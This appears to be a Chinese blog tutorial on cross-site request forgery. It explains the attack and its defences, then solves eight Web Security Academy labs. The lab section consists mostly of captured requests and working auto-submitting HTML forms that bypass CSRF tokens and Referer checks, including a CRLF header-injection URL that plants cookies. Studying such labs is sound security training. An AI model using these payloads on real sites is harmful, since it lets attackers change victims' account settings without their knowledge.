投稿
  1. 首页
  2. 安全

CSRF

code • 2022-5-16 • 安全 • 阅读 50

CSRF,第1张

一、什么是跨站请求伪造 1. 什么是跨站请求伪造

定义：
跨站点请求伪造(也称为CSRF)是一种Web安全漏洞，允许攻击者诱使用户执行他们不打算执行的 *** 作。它允许攻击者部分绕过同源策略。
危害：

在受害者不知情时更改帐户上的邮箱地址、密码或进行资金转账根据 *** 作的性质，攻击者可能能够完全控制用户的帐户。根据受害者的用户角色，攻击者可能完全控制应用程序。 2. CSRF成立三要素

（1）动作：一个有价值的 *** 作。

应用程序中存在攻击者希望引发的 *** 作。这可能是特权 *** 作(如修改其他用户的权限)或对用户特定数据的任何 *** 作(如更改用户自己的密码)。

（2）Cookie: 基于Cookie的会话处理。

应用程序仅依靠会话Cookie来识别发出请求的用户。没有用于跟踪会话或验证用户请求的其他机制。

(3) 参数：没有不可预测的请求参数。

执行 *** 作的请求不包含攻击者无法确定或无法猜测其值的参数。

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=wiener@normal-user.com

经分析源代码满足上述三要素。则可以构建CSRF攻击

<html>
  <body>
    <form action="https://vulnerable-website.com/email/change" method="POST"> 
      
      <input type="hidden" name="email" value="pwned@evil-user.net" />
      
    form>
    <script>
      document.forms[0].submit();
      <!--受害者自提交，自带Cookie-->
    script>
  body>
html>
3. XSS 与CSRF的区别

XSS: 允许攻击者在受攻击用户的浏览器中执行任意JavaScript。 攻击者获取敏感信息，构造攻击。
CSRF: 允许攻击者诱使受害用户执行他们不想执行的 *** 作。 攻击者引诱目标使用自己的敏感信息，但攻击者并未得到敏感信息。

XSS漏洞的后果通常比CSRF漏洞更严重

XSSCSRF
CSRF通常只适用于用户能够执行的 *** 作。
许多应用程序通常实现CSRF防御，但忽略了一个或两个暴露的 *** 作。XSS通常可以执行用户能够执行的任何 *** 作 ，不仅仅是出现漏洞的功能。
“单向”漏洞，因为虽然攻击者可以诱使受害者发出HTTP请求，但他们无法从该请求中检索响应。“双向的”，因为攻击者注入的脚本可以发出任意请求、读取响应并将数据渗透到攻击者选择的外部域。
4. CSRF有效的防御方式 CSRF tokenSameSite cookie设置

如果SameSite属性设置为Strict，则浏览器将不会在来自其他站点的任何请求中包含该Cookie。
如果SameSite属性设置为lax，则浏览器将在源自另一个站点的请求中包含Cookie

SameSite cookie特例需要注意：
（1） 请求使用GET方法有cookie。使用其他方法(如POST)的请求将不包括Cookie。
（2） 请求来自用户的顶级导航，例如单击链接，或由脚本发起的请求，将不包括Cookie。

二、构造和使用CSRF攻击

跨站点请求伪造攻击的传递机制与反射XSS的传递机制基本相同。

攻击者会将恶意的HTML语言放到他们控制的网站上诱使受害者访问该网站 （ 通过电子邮件或社交媒体消息向用户提供指向该网站的链接来实现）或者，如果攻击被放置在一个流行的网站上(例如，在用户评论中)，只需等待用户访问该网站。如果， 一些简单的CSRF漏洞利用使用GET方法，并且可以在易受攻击的网站上使用单个URL完全自包含。 不需要使用外部站点，可以直接向受害者提供易受攻击域上的恶意URL。 实例如下：

三、漏洞利用

首先要判断三要素（动作、cookie、参数）

POST /email/change HTTP/1.1    (动作满足)
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm   （cookie满足）

csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&email=wiener@normal-user.com
（参数不满足）

参数多了CSRF不满足第三点，所以成功利用CSRF攻击的重点，就在能否获取或绕过CSRF参数值。

1. CSRF令牌在GET方法中未验证

某些应用程序在请求使用POST方法时正确验证令牌，但在使用GET方法时跳过验证。

GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

例题 1、2

2. 令牌验证取决于令牌是否存在（不提交令牌，就不验证）

有些应用程序会在令牌存在时正确验证令牌，但如果省略了令牌，则跳过验证。
在这种情况下，攻击者可以删除包含令牌的整个参数(而不仅仅是其值)，以绕过验证并进行CSRF攻击。

例题 3

3. 令牌与session未绑定 
   某些应用程序不会验证令牌是否与发出请求的用户属于同一会话。相反，应用程序维护其已颁发的全局令牌池，并接受出现在该池中的任何令牌。

攻击者可以使用自己的帐户登录到应用程序，获得有效令牌，然后将该令牌提供给CSRF攻击中的受害者用户。

例题 4

4. CSRF令牌绑定到非会话Cookie 
    一些应用程序确实将CSRF令牌绑定到Cookie，但不绑定到用于跟踪会话的同一Cookie。当应用程序使用两个不同的框架，一个用于会话处理，另一个用于CSRF保护，而这两个框架没有集成在一起时，很容易发生这种情况。 

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv

csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com

攻击者可以使用自己的帐户登录到应用程序，获得有效的令牌和关联的Cookie，利用Cookie设置行为将他们的Cookie放入受害者的浏览器，并在他们的CSRF攻击中将他们的令牌提供给受害者。

用攻击账号获取未使用令牌获取令牌对应cookie,并能成功设置到目标用户浏览器中引诱目标用户点击恶意代码发起访问。成功携带自身session,攻击者注入的cookie,和对应绑定的CSRF令牌

例题 5

5. CSRF令牌只是在Cookie中复制(双重提交防御) 
      一些应用程序不维护已颁发的令牌的任何服务器端记录，而是在Cookie和请求参数中复制每个令牌。在验证后续请求时，应用程序只需验证在请求参数中提交的令牌是否与在Cookie中提交的值匹配。被称为针对CSRF的“双重提交”防御，之所以提倡这种防御，是因为它实现起来很简单，并且不需要任何服务器端状态：

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa

csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com

    如果网站包含任何Cookie设置功能，攻击者不需要获得自己的有效令牌。利用Cookie设置行为将他们的Cookie放入受害者的浏览器，并在他们的CSRF攻击中将他们的令牌提供给受害者。

例题 6

6. 依据头部Referer防御CSRF的情况

除了使用CSRF令牌的防御之外，一些应用程序还利用HTTP Referer标头来尝试防御CSRF攻击，通常是通过验证请求是否来自应用程序自己的域。这种方法通常不太有效，而且经常会被绕过。

（1）去除referer头部实现绕过 
    当Referer标头出现在请求中时，一些应用程序会对其进行验证，但如果省略了该标头，则会跳过验证。

例题 7

（2）根据referer验证规则实现绕过 
    一些应用程序以一种可以绕过的简单方式验证Referer标头。例如，如果应用程序验证Referer中的域以预期值开始，则攻击者可以将其作为自己域的子域。

http://vulnerable-website.com.attacker-website.com/csrf-attack

    如果应用程序只是验证Referer包含自己的域名，则攻击者可以在URL中的其他位置放置所需的值：

http://attacker-website.com/csrf-attack?vulnerable-website.com

例题 8

四、漏洞举例 1. 没有防御措施的CSRF漏洞 （CSRF vulnerability with no defenses）

点击更新邮箱，发现数据包

POST /my-account/change-email HTTP/1.1
Host: ac131fe81ef8564ac04c6e95000c0023.web-security-academy.net
Cookie: session=BT0ZPi0OPz5jXKt8YFGUXaEXplu41nLP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: https://ac131fe81ef8564ac04c6e95000c0023.web-security-academy.net
Referer: https://ac131fe81ef8564ac04c6e95000c0023.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

email=123%4012.com

核实三要素，满足
编制CSRF payload

<html>
<form method="$method" action="$url">
  <input type="hidden" name="$param1name" value="$param1value">
form>
<script>
  document.forms[0].submit();
script>
html>
2. 令牌验证依赖于请求方法（CSRF where token validation depends on request method）

点击更换邮箱按钮，查看数据包

POST /my-account/change-email HTTP/1.1
Host: aca81fbe1eeb5623c09977d400f40053.web-security-academy.net
Cookie: session=0TVaQZi5iUP2NW2TULxaarGPyCMK3ecf

email=123%40112.com&csrf=uC6ZVqrttoJlvoiP6GCNeLyGYuuvOgUV

存在csrf令牌，不满足三要素，无法直接使用CSRF攻击。考虑尝试更换请求方法尝试绕过令牌验证

GET /my-account/change-email?email=heason@666.com HTTP/1.1
Host: aca81fbe1eeb5623c09977d400f40053.web-security-academy.net
Cookie: session=0TVaQZi5iUP2NW2TULxaarGPyCMK3ecf
Connection: close

证明可行，下面就需要构造html攻击代码，发给目标用户实施攻击了
3. 令牌验证取决于令牌是否存在 （CSRF where token validation depends on request method）

点击换邮箱，查看数据包

POST /my-account/change-email HTTP/1.1
Host: ac6f1f7c1fe09517c0c79ffa00f70078.web-security-academy.net
Cookie: session=JdihT8iQfnPOkQtZmqu6qsNqzHfryBdj

email=123%40123.com&csrf=za6Byuww1x0ucYURUHdE2IVDWHyne5F1

尝试更换方法，不成功
再尝试原始包中去除令牌，成功。

POST /my-account/change-email HTTP/1.1
Host: ac6f1f7c1fe09517c0c79ffa00f70078.web-security-academy.net
Cookie: session=JdihT8iQfnPOkQtZmqu6qsNqzHfryBdj

email=heason%40123.com

构造payload,从攻击机发送给目标用户

<html>
  <form method="POST" action="https://ac6f1f7c1fe09517c0c79ffa00f70078.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="heason666@666.com">
  form>
  <script>
    document.forms[0].submit();
  script>
html>
4. 令牌未绑定到用户会话 （CSRF where token is not tied to user session）

准备两个账户攻击者账户wiener, 目标账户carlos
使用正常浏览器登陆用户名为wiener的账户
点击更新邮件，查看数据包

POST /my-account/change-email HTTP/1.1
Host: ac1b1f341fd1c424c0ff9555001b000d.web-security-academy.net
Cookie: session=Zm4FeRqxmPtDV6zwb5JVR2ISAwGiQsEQ

email=123%40123.com&csrf=mD0sot399W1kL0NN7zljsPhHVRt0wz8W

根据三要素，尝试更新方法、直接去掉令牌方式均不可行。
尝试令牌与session是否绑定。如果未保定，则可以使用攻击者账户的csrf,发送给目标账户。目标账户使用自己的session和攻击者的令牌，完成邮箱更换的 *** 作
1、获取攻击者wiener新的令牌（获取后丢弃数据包，保证令牌未使用状态）csrf=mD0sot399W1kL0NN7zljsPhHVRt0wz8W
2、使用匿名浏览器登陆目标用户模拟更换邮箱，将令牌替换为上述攻击者的令牌

POST /my-account/change-email HTTP/1.1
Host: ac1b1f341fd1c424c0ff9555001b000d.web-security-academy.net
Cookie: session=WIFMYDWYpdimrJU6fBdZsgNWBJ7CWpOr （目标用户carlos的session）

email=heason%40666.com&csrf=mD0sot399W1kL0NN7zljsPhHVRt0wz8W  (攻击者wiener令牌)

结果，目标用户carlos账户的邮箱被成功更换。证明令牌与session是否绑定。
获取新的未使用csrf令牌，构造CSRF代码

<html>
<form method="POST" action="https://ac2f1fe71f3b1e8cc00625ba00f900fc.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="heason@666.com">
<input type="hidden" name="csrf" value="8XVl6nxXiMUEC2ZYJ8djwL39mPPcvzyy">
<script>
document.forms[0].submit();
script>
html>
5. 令牌绑定到非会话Cookie （CSRF where token is tied to non-session cookie）

两个账户，尝试更换csrfKey 和csrf令牌。验证是否一致
csrf= lmjIpDMzZjMT1DytwERXkQu1CVHdk0H1
csrfKey:B2AjipewNVuxVWu2XLzHNo9cxG5fVw3V

在原始数据包中更换，查看是否可以成功更换邮箱

POST /my-account/change-email HTTP/1.1
Host: acc21f311f942a71c072031e00990034.web-security-academy.net
Cookie: session=hAXbxoDzguTV9GylxOTUZJHPLWacHuzm; csrfKey=AuWI9z1zfCSj0Bbx6hLWTSUbV19A6U6Y; LastSearchTerm=heason
（更换csrfKey）

email=666%40666.com&csrf=gnOZbfEOu9zj5azJInK4E1TQ5nAPZRHG  （更换csrf）

成功响应，破解此题的思路是

hearder注入点，能注入csrfKey构造攻击代码，替换csrf和csrfKey

发现搜索框可以

HTTP/1.1 200 OK
Set-Cookie: LastSearchTerm=heason; Secure; HttpOnly
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 3371

https://youlab-id//?search=heason%0d%0aSet-Cookie:%20csrfKey=B2AjipewNVuxVWu2XLzHNo9cxG5fVw3V
构造CSRF攻击代码

<html>
  
  <body>
    <script>history.pushState('', '', '/')script>
    <form action="https://acc21f311f942a71c072031e00990034.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="heason@heason666.com" />
      <input type="hidden" name="csrf" value="lmjIpDMzZjMT1DytwERXkQu1CVHdk0H1" />
      <input type="submit" value="Submit request" />
    form>
    <img src="https://acc21f311f942a71c072031e00990034.web-security-academy.net/?search=heason%0d%0aSet-Cookie:%20csrfKey=B2AjipewNVuxVWu2XLzHNo9cxG5fVw3V" onerror=document.forms[0].submit();>
  body>
html>
6. 在Cookie中复制令牌的CSRF(CSRF where token is duplicated in cookie)

首先三要素，发现CSRF令牌和对应cookie,尝试左右情况，发现可尝试复制令牌。
尤其是cookie中csrf token需要header 注入，不在赘述，与上一题相同。
CSRF恶意代码如下

<html>
  <body>
    <script>history.pushState('', '', '/')script>
    <form action="https://acfb1f721e24b7a4c0e3351a005700b2.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="heason@heason666.com" />
      <input type="hidden" name="csrf" value="sDiGXxJRvsIS9sNU0OADIbEiumM8UQSe" />
      <input type="submit" value="Submit request" />
    form>
    
    <img src="https://acfb1f721e24b7a4c0e3351a005700b2.web-security-academy.net/?search=heason%0d%0aSet-Cookie:%20csrf=sDiGXxJRvsIS9sNU0OADIbEiumM8UQSe" onerror=document.forms[0].submit();>
  body>
html>
7. Referer验证取决于是否存在标头(CSRF where Referer validation depends on header being present)

不在赘述前置流程。发现头部referer存在限制，尝试去掉referer头部。
CSRF攻击代码

<html>
  <body>
  <script>history.pushState('', '', '/')script>
    <form action="https://ac4b1f4e1fa1b272c07211b9003e00c7.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="heason@heason666.com" />
      <input type="submit" value="Submit request" />
    form>
	<meta name="referrer" content="never">
    <script>
      document.forms[0].submit();
    script>
  body>
html>
8. 具有中断引用验证的CSRF（CSRF with broken Referer validation）

不在赘述前置流程。发现头部referer存在限制，尝试去掉不管用。
多次尝试发现Referer: https://arbitrary-incorrect-domain.net?your-lab-id.web-security-academy.net 成立
构造CSRF攻击代码

    许多浏览器现在默认情况下从Referer标头中剥离查询字符串。要覆盖此行为并确保请求中包含完整URL，请在请求中增加如下头部：

Referrer-Policy: unsafe-url

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Referrer-Policy: unsafe-url

<html>
  
  <body>
  <script>history.pushState('', '', '/?aceb1fe31e57ca0bc05a89f500e30013.web-security-academy.net')script>
    <form action="https://aceb1fe31e57ca0bc05a89f500e30013.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="heason@666.com" />
      <input type="submit" value="Submit request" />
    form>
    <script>
      document.forms[0].submit();
    script>
  body>
html>

欢迎分享，转载请注明来源：内存溢出

原文地址: http://outofmemory.cn/yw/926018.html

赞 (0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
code code 管理员组
0 0
上一篇 2022-05-16
下一篇 2022-05-16

发表评论

登录后才能评论

评论列表（0条）

保存